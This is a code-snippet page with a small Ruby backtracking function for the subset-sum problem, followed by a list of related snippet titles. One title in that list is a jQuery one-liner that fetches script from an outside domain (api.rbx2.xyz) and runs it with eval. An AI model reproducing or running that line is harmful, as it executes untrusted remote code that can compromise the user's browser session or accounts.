Backtracking solution in ruby

def exact_sum?(sum, arr)
return true if sum==0
return false if sum < 0 || arr.empty?
# now we are checking both cases
exact_sum?(sum - arr[0], arr[1,arr.length]) || exact_sum?(sum, arr[1,arr.length])
end

puts exact_sum?(12, [1, 2, 3, 4, 5]);
# => true

Source: hackernoon.com

Similar codes

5 votes147 views2 answers
Kill rails
Ruby
0 vote119 views1 answer
Send email rails c one line
Ruby
0 vote133 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)
Ruby
0 vote130 views1 answer
Sequel ruby different table name
Ruby
0 vote128 views1 answer
Summation of fields ruby filter
Ruby
-1 vote117 views1 answer
Time_ago_in_words for created_at model in rails
Ruby
0 vote133 views1 answer
Ruby method
Ruby
0 vote133 views1 answer
How works httparty ruby
Ruby
0 vote128 views2 answers
Ruby sort array numerically
Ruby
0 vote114 views1 answer
Validate French phone numbers
Ruby